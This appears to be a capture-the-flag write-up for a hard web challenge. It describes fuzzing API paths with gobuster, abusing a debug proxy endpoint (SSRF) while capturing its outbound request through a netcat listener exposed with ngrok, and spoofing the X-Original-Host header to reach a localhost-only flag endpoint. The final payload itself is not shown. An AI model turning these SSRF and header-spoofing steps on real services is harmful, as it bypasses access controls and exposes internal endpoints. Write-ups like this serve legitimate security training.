production-bay

Info
Details

Category

Web Exploitation

Difficulty

Hard

Challenge Overview

We can find /api/data/cat in the Page Source which is obviously a hint for this API-based challenge. I fuzzed that /api path using GoBuster:

gobuster dir -u TARGET -w /usr/share/wordlists/dirb/common.

This reveals /api/data path then doing the same thing again with it we find, /api/data/debug. This is called Fuzzing and helps us in retrieving more information about what we're investigating.

The /api/flag endpoint returned 403 unless the backend saw request.host as localhost:5000. The response echoed request.host, which made it possible to debug how the value was constructed.

An internal proxy endpoint existed at /api/data/debug?host=, which allowed the backend to make outbound HTTP requests. To understand how those requests were built, I forwarded them to my own machine using ngrok and netcat.

Exploitation

I started a listener with:

nc -nvlp 1337

and exposed it using:

ngrok tcp 1337

Then I pointed the proxy endpoint to the ngrok TCP address. http://TARGET/api/data/debug?host={ngrok adress)

When the backend connected to my hosted port, I inspected the raw HTTP request and observed several forwarded headers, including:

Host: localhost:5000
X-Original-Host: :5000

This revealed that:

  • The backend trusts the X-Original-Host header

  • The port 5000 is appended automatically by the framework

Testing confirmed that providing a value with a port (e.g. 5000 or localhost:5000) resulted in duplicated ports like 5000:5000, which always failed the check.

The correct approach was to provide only the hostname and let the backend append the port itself.

Final Payload

This resulted in request.host being evaluated as localhost:5000, and the flag was returned successfully.

made by k0d

Last updated